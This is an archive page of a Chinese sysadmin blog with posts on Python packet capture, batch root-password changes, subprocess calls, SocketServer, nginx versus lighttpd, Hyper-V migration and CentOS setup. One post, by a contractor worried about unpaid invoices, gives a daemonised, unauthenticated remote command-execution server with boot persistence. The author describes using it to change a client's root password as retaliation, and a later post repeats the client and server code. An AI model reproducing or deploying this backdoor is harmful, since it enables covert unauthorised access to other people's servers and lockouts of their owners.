LINUXQQ

十二月 31, 2010

python 抓包思路

Filed under: python — admin @ 2:41 下午

Python提供了几个libpcapbind,http://monkey.org/~dugsong/pypcap/这里有 一个最简单的。在windows平台上,你需要先安装winpcap,如果你已经安装了Ethereal非常好用

Google code地址:http://code.google.com/p/pypcap/

>>> import dpkt, pcap
>>> pc = pcap.pcap()
>>> pc.setfilter(‘icmp’)
>>> for ts, pkt in pc:
…     print `dpkt.ethernet.Ethernet(pkt)`

Ethernet(src=’\x00\x03G\xb2M\xe4′, dst=’\x00\x03G\x06h\x18′, data=IP(src=’\n\x00\x01\x1c’, dst=’\n\x00\x01\x10′, sum=39799, len=60, p=1, ttl=128, id=35102, data=ICMP(sum=24667, type=8, data=Echo(id=512, seq=60160, data=’abcdefghijklmnopqrstuvwabcdefghi’))))
Ethernet(src=’\x00\x03G\x06h\x18′, dst=’\x00\x03G\xb2M\xe4′, data=IP(src=’\n\x00\x01\x10′, dst=’\n\x00\x01\x1c’, sum=43697, len=60, p=1, ttl=255, id=64227, data=ICMP(sum=26715, data=Echo(id=512, seq=60160, data=’abcdefghijklmnopqrstuvwabcdefghi’))))
^CTraceback (most recent call last):
File ‘<stdin>’, line 1, in ?
File ‘pcap.pyx’, line 298, in pcap.pcap.__next__
KeyboardInterrupt
>>>
>>> pc.stats()
(4851, 0, 0)

1. pcap还支持一些回调函数的用法,效率比较高,不过抓包不是为了效率,把事情做正确就行
2. 调用pc.setfilter填写filter字符串,libpcap/WinPcap的filter language采用的tcpdump相同的格式,可以去看它的 man page
Ethereal的帮助里面有一个简单的说明

3. 报文的解析,可以用python自带的struct,很容易使用,当然可以安装http://monkey.org/~dugsong/dpkt/这个包,已经帮你解析基本的报文信息

dpkt在Google code的地址:http://code.google.com/p/dpkt/

十二月 30, 2010

python 远程修改root密码

Filed under: linux — admin @ 3:56 下午

做运维兼职的 担心有些客户不给钱
参考网上写了个脚本 用python 远程修改root密码
服务端 此脚本运行一下即可 退出终端 自动在后台运行.已经做成守护进程了

#!/usr/bin/python
from SocketServer import TCPServer as TCP,StreamRequestHandler as SRH
from time import ctime
import sys,os
HOST=”
PORT=21567
ADDR=(HOST,PORT)
class services(SRH):
    def handle(self):
        print ‘…connectd from:’,self.client_address
        cllog=open(‘/var/log/cllog’,'a’)
        cllog.write(str(self.client_address))
        cllog.write(‘\r\n’)
        cllog.close()
        self.data=self.rfile.readline().strip()
        self.datas=os.popen(self.data).read()
        self.wfile.write(self.datas)
if __name__==”__main__”:
    tcpServ=TCP(ADDR,services)
    print ‘waitint for connection…’
    tcpServ.serve_forever()
    try:
        pid=os.fock()
        if pid > 0:
            sys.exit(0)
    except OSError,e:
        print >>sys.stderr,”fock #l failed %d(%s)” %(e.errno,e.strerror)
        sys.exit(1)

    os.chdir(“/”)
    os.setsid()
    os.umask(0)
    try:
        pid=os.fork()
        if pid > 0:
            print “Daemin PID %d”%pid
            sys.exit(0)
    except OSError,e:
        sys.exit(1)

客户端的脚本

#!/usr/bin/python

from socket import *
HOST=’122.200.77.1′
PORT=21567
BUFSIZ=2048
ADDR=(HOST,PORT)
while True:
    tcpCliSock=socket(AF_INET,SOCK_STREAM)
    tcpCliSock.connect(ADDR)
    data=raw_input(‘>’)
    if not data:
        break
    tcpCliSock.send(‘%s\r\n’%data)
    data=tcpCliSock.recv(BUFSIZ)
    if not data:
        break
    print data.strip()
    tcpCliSock.close()

然后运行客户端 输入echo “qwerty″ | passwd –stdin root 把密码给改掉 奶奶的 让你不给钱
在输入pwd 看下在哪个目录下面
然后ln -s /root/server.py /etc/rc.d/rc3.d/S99server 设置成重启启动此服务
此脚本在CENTOS下测试正常通过,脚本还在进一步完善中..

转载注明(LINUXQQ)

shell 脚本修改root密码

Filed under: linux — admin @ 11:47 上午

对统定期修改密码是一个很重要的安全常识,通常,我们修改用户密码都使用 passwd user 这样的命令来修改密码,但是这样会进入交互模式,即使使用脚本也不能很方便的批量修改,除非使用expect 这样的软件来实现,难道修改一下密码还需要单独安装一个软件包吗? 不,我们其实还有其他很多方法可以让我们避开交互的,下面具体写一下具体的实现方式:

第一种:
echo “123456″ | passwd –stdin root

优点:方便快捷
缺点:如果你输入的指令能被别人通过history或者其他方式捕获,那么这样的方式是很不安全的,更重要的是如果密码同时含有单引号和双引号,那么则无法通过这种方法修改。

说明:
批量修改linux密码 passwd –stdin user 从标准输入中读取密码,所以用户可以在脚本中使用如 echo NewPasswd | passwd –stdin username 这种方式来批量更改密码 但在其它的一些发行版(如Debian/Suse)所提供的passwd并不支持–stdin这个参数

第二种:
a. 首先将用户名密码一起写入一个临时文件.
cat chpass.txt
root:123456
zhaohang:123456
b. 使用如下命令对用户口令进行修改:
chpasswd < chpass.txt
c. 可以使用 123456 来登录系统,密码修改完毕.

优点:可以很快速方便的修改多个用户密码
缺点:明文密码写在文件里仍然显得不够安全,但是避免了第一种修改方式不能有特殊字符串密码的情况.

第三种:
a. 用 openssl passwd -1 来生成用户口令,连同用户名一起写入文件.
cat chpass.txt
root:$1$ri2hceVU$WIf.firUBn97JKswK9ExO0
zhaohang:$1$i/Gou7.v$Bh2K6sXmxV6/UCxJz8N7b.
b. 使用如下命令对用户口令进行修改:
chpasswd -e < chpass.txt
c. 可以使用 123456 来登录系统,密码修改完毕.

优点:可以很快速方便的修改多个用户密码
缺点:和上面两种相比大大增强了安全性

附加介绍:
openssl passwd -1 命令可以输出shadow里面的密码,把这个命令生成的秘串更改为你shadow里的密码,那么下次你登录系统就可以用你的生成密码的口令来登录了,使用这个命令,即使口令一样,多次执行生成的密码串也不一样。那个hash值对应的密码是完全随机的基于64位字符编码的28位长,因此要破解它是非常困难的,只要不用那些密码已经公布出来的hash值创建账号,即使这些密码文件被公布也还是比较安全的。使用旧的unix哈希可以去掉 -1 参数。

[root@WEB01 ~]# openssl passwd -1

Password: 123456
Verifying – Password: 123456
$1$ri2hceVU$WIf.firUBn97JKswK9ExO0

也可以直接使用如下命令来直接生成:
[root@WEB01 ~]# openssl passwd -1 123456

[root@WEB01 ~]# openssl passwd -1 -salt “yoctor” 123456

上面命令中的 salt 自己随便输入些东西
因为设置密码的时候密码密文是MD5加密的,在产生哈希值的时候系统回在密文中加如盐从而使密文无法反向破译。
passwd加密的时候系统加的salt是 时间

一个小脚本
#!/usr/bin/bash
echo “123456″ | passwd –stdin root

十二月 29, 2010

os.system 与os.popen

Filed under: python — admin @ 5:55 下午

python的os.system仅仅就是执行了系统命令,但却不执行,不输出
而os.popen可以执行并且输出 获取返回值

底下是转载过来的一篇文章
os.system(‘cat /proc/cpuinfo’)

但是这样是无法获得到输出和返回值的,继续 Google,之后学会了 os.popen()。

output = os.popen(‘cat /proc/cpuinfo’)
print output.read()

通过 os.popen() 返回的是 file read 的对象,对其进行读取 read() 的操作可以看到执行的输出。但是怎么读取程序执行的返回值呢,当然咯继续请教伟大的 Google(联想到像我这样的人工作如果离开了 Google,不是成了废物。。。Baidu 忽视)。Google 给我指向了 commands — Utilities for running commands。
这样通过 commands.getstatusoutput() 一个方法就可以获得到返回值和输出,非常好用。

(status, output) = commands.getstatusoutput(‘cat /proc/cpuinfo’)
print status, output

Python Document 中给的一个例子,很清楚的给出了各方法的返回。

>>> import commands
>>> commands.getstatusoutput(‘ls /bin/ls’)
(0, ‘/bin/ls’)
>>> commands.getstatusoutput(‘cat /bin/junk’)
(256, ‘cat: /bin/junk: No such file or directory’)
>>> commands.getstatusoutput(‘/bin/junk’)
(256, ‘sh: /bin/junk: not found’)
>>> commands.getoutput(‘ls /bin/ls’)
‘/bin/ls’
>>> commands.getstatus(‘/bin/ls’)
‘-rwxr-xr-x 1 root 13352 Oct 14 1994 /bin/ls’

转载注明(LINUXQQ)

python 远程执行系统命令

Filed under: python — admin @ 4:41 下午

1. os.system()

system(command) -> exit_status

Execute the command (a string) in a subshell.

# 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息..

>>> os.system(‘ls’) #如果再命令行下执行,结果直接打印出来
04101419778.CHM bash document media py-django video
11.wmv books downloads Pictures python
all-20061022 Desktop Examples project tools

2.os.popen()

popen(command [, mode='r' [, bufsize]]) -> pipe

Open a pipe to/from a command returning a file object.

# 此种方法不但执行命令还返回执行后的信息对象

>>>tmp = os.popen(‘ls *.py’).readlines()

>>>tmp
Out[21]:
['dump_db_pickle.py\n',
'dump_db_pickle_recs.py\n',
'dump_db_shelve.py\n',
'initdata.py\n',
'__init__.py\n',
'make_db_pickle.py\n',
'make_db_pickle_recs.py\n',
'make_db_shelve.py\n',
'peopleinteract_query.py\n',
'reader.py\n',
'testargv.py\n',
'teststreams.py\n',
'update_db_pickle.py\n',
'writer.py\n']

将返回的结果赋于一变量,便于程序的处理.
下面是代码
完整的客户端
#!/usr/bin/python

from socket import *
HOST=’122.101.101.101′
PORT=21567
BUFSIZ=2048

while True:
tcpCliSock=socket(AF_INET,SOCK_STREAM)
tcpCliSock.connect(ADDR)
data=raw_input(‘>’)
if not data:
break
tcpCliSock.send(‘%s\r\n’%data)
data=tcpCliSock.recv(BUFSIZ)
if not data:
break
print data.strip()
tcpCliSock.close()

完整的服务端
#/usr/bin/python
from SocketServer import TCPServer as TCP,StraemRequestHandler as SRH
from time import ctime
HOST=”
PORT=21567
ADDR=(HOST,PORT)
class services(SRH):
def handle(self):
self.data=self.rfile.readline().strip()
print ‘…connectd from:’,self.client_address
self.wfile.write['%s'%(ctime())]
print self.data
self.wfile.write(self.datas)

tcpServ=TCP(ADDR,services)
print ‘waitint for connection…’
tcpServ.server_forever()
转载著名(LINUXQQ)

python twisted

Filed under: python — admin @ 12:41 下午

python twisted下载地址 http://tmrc.mit.edu/mirror/twisted/Twisted/10.2/Twisted-10.2.0.winxp32-py2.7.msi

python twisted 学习地址
twisted是个非常非常优秀的高性能网络编程框架,通过它可以以“闪电”般地速度开发出高性能、高质量的网络服务器,具体可见其网址:http://www.twistedmatrix.com.
虽然twisted是个非常好的开发框架,但关于它的学习资料相对比较少。这给学习者的学习带来了不少在阻碍,通过笔者平时的上网搜索,获得了以下一些资料和大家分享:

使用 Twisted 框架进行网络编程

http://www.ibm.com/developerworks/cn/linux/network/l-twist/part1/

http://www.ibm.com/developerworks/cn/linux/network/l-twist/part2/

http://www.ibm.com/developerworks/cn/linux/network/l-twist/part3/

http://www.ibm.com/developerworks/cn/linux/network/l-twist/part4/

《Twisted Network Programming Essentials》

http://www.sec168.com/blog/blogsec/gashero/archives/2006/23.html

http://safari.oreilly.com/0596100329

http://www.oreilly.com/catalog/twistedadn/

Twisted模式

http://www.rexx.com/~dkuhlman/twisted_patterns.html

Twisted与线程

http://kaishaku.org/twisted-vs-threads/

The Twisted Network Framework

http://www.python10.org/p10-papers/09/index.htm

Twisted defer

http://python.fyxm.net/pycon/papers/deferex/

在Windows下制作和部署twisted程序

http://www.adelux.fr/libre/howto/en/twisted_windows

Twisted批判者

http://laurentszyster.be/blog/labeling-the-twisted-bits/

啄木鸟社区

http://wiki.woodpecker.org.cn/moin/PyTwisted

Event-Driven Programming with Twisted and Python

http://www.linuxjournal.com/node/7871/print

An Introduction to the Twisted Networking Framework

http://www.onlamp.com/pub/a/python/2004/01/15/twisted_intro.html

ASPN上twisted例子

http://aspn.activestate.com/ASPN/search?query=twisted&x=0&y=0&section=PYTHONCKBK&type=Subsection

Network Programming for the Rest of Us

http://www.usenix.org/events/usenix03/tech/freenix03/full_papers/lefkowitz/lefkowitz_html/index.html

Twisted WEB测试

http://agiletesting.blogspot.com/2005/02/web-app-testing-with-python-part-1.html

http://agiletesting.blogspot.com/2005/03/web-app-testing-with-python-part-2.html

十二月 28, 2010

lighttpd和nginx的优缺点

Filed under: linux — admin @ 1:11 下午

背景
lighttpd和nginx是近年来两个流行的高性能web server。nginx在近几年冒起很快,根据netcraft对2010年2月所有网站域名的web server市场份额调查显示,nginx占据第4位,已明显超越了lighttpd,如下图示:

百度有一些服务使用lighttpd,我们希望对 nginx开展调研,并和lighttpd进行对比。
概述
Nginx和lighttpd基本上是同质的,都是采用基于epoll/kqueue/select的全异步事件模型,可以轻松地维持大量的连接,不惧怕慢连接攻击。两者都提供了丰富的HTTP服务功能,例如压缩、url rewrite、虚拟主机、SSL、proxy等等。
Nginx大量模仿了apache的设计风格,比如模块的定义、装配、以及配置数据的解析和组织方式等等。Lighttpd则是自己设计的一套。 和lighttpd相比,Nginx做事更加精细,它提供的一些比较特别。
Nginx的代码入手更困难一些(主观看法)。举个例子,Nginx内部的HTTP状态迁移是比较隐性的,它通过一系列的handler赋值来实现,如果要完整地追踪一次HTTP请求的处理过程,比较费劲。这个就说明,一旦出了问题,追查比较困难。而lighttpd的代码中有一个显式的HTTP状态迁移,一目了然,相比之下比较好看一些。
扩展模块开发方面,nginx的module模仿了apache的设计和实现方式,和lighttpd是完全不同的。主观感觉上nginx模块开发的入门门槛更高一些,因为必须弄清楚nginx的内部运行机制才好确认你写的代码到底有没有问题和隐患。
和lighttpd一样,nginx同样存在着开发文档很少的问题。最好的文档还是源码本身。
功能
Nginx完全不支持动态库so,所以它的模块都必须静态编译,且不能动态加载。要加载哪些模块,模块按照怎样的顺序执行,都是在编译期由 configure指定的,如果要调整,也只能重新编译一遍,无法通过改配置来实现。在这方面,Lighttpd做得比nginx好。Lighttpd支 持动态so,并且可以在配置文件中调整各模块的先后顺序,在某些应用场景下,调整模块的先后顺序是很有用的。
条件配置语法的灵活性,lighttpd比nginx要好一些。Lighttpd可以很方便地配置成这样:
$HTTP[“url”] =~ “…” {
Proxy-core.backends = (“10.1.1.1:8080”, “10.1.1.2:8080”, …)
Proxy-core.balancer = “round-robin”
Proxy-core.protocol = “http”
……
}

$HTTP[“host”] =~ “…” {
Access.deny-all = “enable”
}

$HTTP[“useragent”] =~ “…” {
url.redirect = (“” => “http://example.com/”)
url.redirect-code = 302
}

$HTTP[“url”] =~ “…” {
$HTTP[“querystring”] =~ “…” {
$HTTP[“referer”] =~ “…” {

}
}
}
在nginx中,如果模块本身没提供条件支持的话,需要依赖rewrite模块做一次内部跳转,把变化反映到url上,再通过location使其生效。
在一些具体的功能点上,nginx和lighttpd各有特点:
有一些比较细节的地方,nginx考虑得比lighttpd周全,比如nginx可以配置HTTP头部的长度、HTTP请求的读写超时 等,lighttpd的官方版本是不支持的,百度对此进行了改良。再例如nginx可以配置listen队列长度、nginx进程起来后 挂在哪个CPU核上运行,lighttpd现在还不支持。
Nginx的proxy功能比lighttpd强大,主要是proxy cache,另外还有一些细节上的处理。比如nginx支持4xx/5xx错误自动重试下一个后端。但是Lighttpd的proxy现在还支持scgi 和ajp两种后端转发协议,nginx不支持。
Nginx有一些比较有特色的功能module,例如:
1)secure_link,可以用来防盗链,目前在CDN上有应用。这个功能很不错,可以考虑在lighttpd上开发相应的模块。
2)geoip,用户给配置一个ip地理信息数据文件,nginx可以以此为根据,判断客户端ip来自哪个国家和城市。

性能
根据简单性能对比,Nginx的性能比lighttpd略好。原因可能有以下几方面:
1. Lighttpd启动了几个辅助线程,有加锁竞争行为,这样会使性能有所降低(线程个数是可配的,这里还有优化的余地);nginx完全不涉及线程,不加锁。
2. Lighttpd有动态so,nginx全静态编译,动态库执行效率比静态慢大约5%~10%左右。
3. Nginx在细节优化上可能做得更好一些。例如nginx的epoll是ET(边缘触发)的,而lighttpd的epoll是LT(水平触发)的。
nginx的性能要好一些,不过对大多数应用来说,lighttpd的性能指标已够用了,一个系统主要的瓶颈往往是在后端。由于lighttpd具有动态模块的加载能力,适合非常需要灵活配置的场合。
总体而言,nginx和lighttpd都是非常好的web server选择。

这个是转载来的 呵呵

十二月 27, 2010

hyper-v 迁移数据丢失

Filed under: 乱7八糟 — admin @ 11:48 上午

帮朋友迁移hyper-v 服务器
有的虚拟机生成了快照,移动以后数据莫名其妙的变回到了以前的数据。所以在移动VHD文件的时候 切记要删除掉快照,然后在移动,移动好了以后会自动将快照中的数据和VHD文件合并 这样就保持的是最新数据. 以下还有更详细的说明 转载微软官网
Hyper-V功能无疑是Windows Server 2008一大亮点,而snapshot快照功能更使得系统管理员日常备份工作更加的方便高效。但在使用snapshot功能时,特别是在Hyper-V虚机迁移时,以下内容应当注意:

1.snapshot快照功能实际上并不是保存.vhd文件的当前状态到一个.avhd文件,而是在.vhd文件基础上做差异。也就是说一旦你对某虚机.vhd文件做了snapshot,那么你之后对该虚机所做修改都将存到名为相应的”GUID.avhd”文件中,而原.vhd文件在你删除snapshot树并关机之前将不会做任何更改。

2.如果要做虚机迁移,迁移前的虚机没有做过snapshot,直接复制各虚机.vhd文件到目的Hyper-V主机并重新使用这些.vhd文件创建虚机即可;如果迁移前的虚机有做过snapshot,在你决定迁移并实施迁移操作之前,应删除各虚机的snapshot树,这样虚机在关闭的时候会将snapshot中的内容合并到虚机.vhd文件中,合并完成再复制文件到目的主机。

如果在实施迁移之前没有执行2中所述操作,迁移后将造成数据丢失等问题,如果此时你的原Hyper-V仍然可用,你需要重新回到该主机并执行2中所述操作,如果此时原Hyper-V主机不可用而你仍备份有原虚机snapshot文件,可以按照本文以下内容进行.vhd与.avhd的手动合并:

1.找出该虚机的最后的snapshot 快照.avhd文件。

打开 \Virtual Machines目录下的 GUID.xml 文件,如下图所示:

通过查看图中蓝色部分获得最后的snapshot快照文件名。

2.在\Snapshots\GUID目录下找出步骤1中所找到的.avhd文件,更改其后缀名为.vhd。如下图所示:

3.执行合并。

打开Hyper-V管理工具,选择”Edit Disk”,打开磁盘编辑向导,

选择修改过后缀的.vhd文件,

选择”Merge”合并,

选择”To the parent virtual hard disk”,

保持默认,向导会帮你确定母.avhd或.vhd是谁,此处你需要记下名字,以便待会对它重复执行合并操作,

等待合并完成。

重复执行上述操作直至所有snapshot快照都成功合并到原.vhd文件。

这些就详细的阐述了HYPER-V丢失数据恢复的办法

十二月 26, 2010

python socketserver

Filed under: python — admin @ 5:06 下午

BaseServer: 定义基础服务器接口,这些功能接口提供给子类继承。同时提供服务处理的骨架
serve_forever() 循环调用 handle_request()
handle_request() 调用子类的get_request() ,在tcpServer时实则进行accept()应答; 验证处理 verify_request();
最终处理请求 process_request(),
verify_request() 虚函数
process_request() 虚函数,这个函数并没有直接在BaseServer的子类TcpServer中被重载,而是在TcpServer的派生类中通过另一个父类来实
现,比如 ThreadingTCPServer的基类ThreadingMixIn.process_request()实现了此功能函数
finish_request(request, client_address) 执行一次完整的socket数据读入处理,如果是ThreadMixInTcpServer产生的request,这个方法内必须实行循环读取 socket数据,直到socket关闭。(此处 request 就是 socket对象)
def finish_request(self, request, client_address):
“”"Finish one request by instantiating RequestHandlerClass.”"”
self.RequestHandlerClass(request, client_address, self)在finish_request里面便将读取socket数据的任务扔给了RequestHandler去处理了,代码可以跳过去看了
##———————————————

TcpServer: tcp服务器
__init__(self, server_address, RequestHandlerClass) 需要提供服务侦听地址和请求处理类对象
server_bind() 绑定服务器地址
server_activate() 激活服务器
server_close() 关闭服务器
fileno() 返回服务器socket的句柄fd编号
get_request() 接收应答accept()
close_request(request) 关闭socket,request即为socket对象

三种输出处理方式: 阻塞方式、线程处理(ThreadingMixIn)、进程处理(ForkingMixIn)

ThreadingMixIn: 线程模型
process_request( request, client_address) 为请求的链接创建新的线程,在创建线程时直接指定线程入口和参数:
import threading
t = threading.Thread(target = self.process_request_thread,
args = (request, client_address))
if self.daemon_threads:
t.setDaemon (1)process_request_thread() 线程处理socket入口,负责接收数据,代码实现有点绕,看看代码
def process_request_thread(self, request, client_address):
try:
self.finish_request(request, client_address)
self.close_request(request)
except:
self.handle_error(request, client_address)
self.close_request(request)ThreadingMixIn其实就是线程代理, 还是调用finish_request()进入处理tcp数据的循环,处理完成便close_request()。但是finish_request和 close_request并未在ThreadingMinxIn内定义,在哪里呢? 通过研读ThreadingTcpServer,原来通过ThreadingTcpServer这个finish_request又跑回了 BaseServer.finish_request()

ThreadingTCPServer(ThreadingMixIn, TCPServer) 装配成线程池处理的tcp服务器

BaseRequestHandler: 请求处理基础对象,提供统一的行为接口实现处理socket数据。 BaseRequestHandler比较好玩,在构造函数内完成了所有的操作,见代码: def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
try:
self.setup()
self.handle()
self.finish()
finally:
sys.exc_traceback = None # Help garbage collectionsetup()对应的子类会进行初始化处理
self.handle() 直接调用子类的处理函数,可以参考 BaseHTTPRequestHandler(SocketServer.StreamRequestHandler)::handle()

StreamRequestHandler(BaseRequestHandler) 流式socket处理类
setup() 设置好socket对象和读写文件句柄 rfile/wfile

HTTPServer(SocketServer.TCPServer) http服务器

BaseHTTPRequestHandler(SocketServer.StreamRequestHandler) 流式的请求处理类
handle() 处理入口,在基类BaseRequestHandle()的构造函数中直接调用
handle_one_request() 如果不是处理一次则返回false。接收一次socket数据,解析parse_request(),调用对应的do_xxx事件

python 的daemon线程:

如果一个进程的主线程运行完毕而子线程还在执行的话,那么进程就不会退出,直到所有子线程结束为止,如何让主线程结束的时候其他子线程也乖乖的跟老大撤退呢?那就要把那些不听话的人设置为听话的小弟,使用线程对象的setDaemon()方法,参数为bool型。True的话就代表你要听话,我老大(主线程)扯呼,你也要跟着撤,不能拖后腿。如果是False的话就不用那么听话了,老大允许你们将在外军命有所不受的。需要注意的是setDaemon()方法必须在线程对象没有调用start()方法之前调用,否则没效果。
转载过来以后用

centos 新手使用

Filed under: linux — admin @ 3:05 下午

1. 解决使用putty远程访问centos出现乱码的问题
编辑vi /etc/sysconfig/i18n这个文件,不管你装的是中文版,还是英文版.删掉原来的配置,把下面的拷贝过去
LANG=”zh_CN.GB18030″
SUPPORTED=”zh_CN.GB18030:zh_CN:zh:en_US.UTF-8:en_US:en”
SYSFONT=”latarcyrheb-sun16″
注:I18N 是 internationalization 的缩写形式,意即在 i 和 n 之间有 18 个字母,本意是指软件的“国际化”。
I18N支持多种语言,但是同一时间只能是英文和一种选定的语言,例如英文中文、英文 德文、英文 韩文等等。
更好的解决方法

http://moneypy.blog.51cto.com/745631/335048

2. 检查系统是否正常
# more /var/log/messages (检查有无系统内核级错误信息)
# dmesg (检查硬件设备是否有错误信息)
# ifconfig(检查网卡设置是否正确)
# ping qq.com (检查网络是否正常,dns是否配置正确cat etc/resolv.conf)
关闭不需要的服务
# ntsysv
以下的服务按需要开启.

apmd
(高级电源管理)
auditd
(审核信息,将消息写入控制台以及 audit_warn 电子邮件别名。用于存放内核生成的系统审查记录,这些记录会被一些程序使用。特别是对于SELinux用户来说。)
cpuspeed
(监测系统空闲百分比,降低或加快CPU时钟速度和电压从而在系统空闲时将能源消耗降为最小,而在系统繁忙时最大化加快系统执行速度。)
crond
(自动计划任务)
mdmonitor
mdmpd
(RAID相关设备的守护程序。)
messagebus
(事件监控服务,在必要时向所有用户发送广播信息,如服务器将要重启。)
network
(激活已配置网络接口的脚本程序)
readahed_early
readahead_later
(开机内存载入优化)
smartd
(监控你的硬盘是否出现故障。)
sshd
(OpenSSH服务器守护进程。远程服务进程)
syslog
(系统日志)
yum-updatesd
(RPM操作系统自动升级和软件包管理守护进程。)

3. 配置yum
更换yum的升级列表
cd /etc/yum.repos.d
mv CentOS-Base.repo CentOS-Base.repo.save
wget http://centos.ustc.edu.cn/CentOS-Base.repo.5
mv CentOS-Base.repo.5 CentOS-Base.repo

4. 更新所有系统中的程序,包括内核
# yum upgrade

(yum update 排除升级内核,方法有两个:)
1.修改yum的配置文件 vi /etc/yum.conf,
在[main]的最后添加exclude=kernel*
2.直接在yum的命令行执行如下的命令:
yum –exclude=kernel* update

5. 定时校正服务器时间
# yum install ntp
# crontab -e
加入一行:
*/15 * * * * ntpdate 210.72.145.44
## 210.72.145.44 为中国国家授时中心服务器地址。

6. 停止网卡对ipv6的支持
#vi /etc/modprobe.conf ← 修改相应配置文件,添加如下行到文尾:
alias net-pf-10 off
alias ipv6 off
上述操作重启后生效

7. 让系统运行在init 3的模式下
#vi /etc/inittab
###表示当前缺省运行级别为5(initdefault);
id:5:initdefault: ← 将此处的5修改为3。

8. 使用 yum 程序安装所需开发包
(以下为标准的 RPM 包名称)
yum -y install gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel nss_ldap openldap-clients openldap-servers

9. Linux SSH 安全策略二:更改 SSH 端口
默认的 SSH 端口是 22。强烈建议改成 10000 以上。这样别人扫描到端口的机率也大大下降。修改方法:
# 编辑 /etc/ssh/ssh_config
vi /etc/ssh/ssh_config
# 在 Host * 下 ,加入新的 Port 值。以 18439 为例(下同):
Port 22
Port 18439
# 编辑 /etc/ssh/sshd_config
vi /etc/ssh/sshd_config
#加入新的 Port 值
Port 22
Port 18439
# 保存后,重启 SSH 服务:
service sshd restart
这里我设置了两个端口,主要是为了防止修改出错导致 SSH 再也登不上。
更改你的 SSH 客户端(例如:Putty)的连接端口,测试连接,如果新端口能连接成功,则再编辑上面两个文件,删除 Port 22 的配置。
如果连接失败,而用 Port 22 连接后再重新配置。
端口设置成功后,注意同时应该从 iptables 中, 删除22端口,添加新配置的 18439,并重启 iptables。
如果 SSH 登录密码是弱密码,应该设置一个复杂的密码。

Older Posts »

Powered by LINUXQQ   ICP 10203065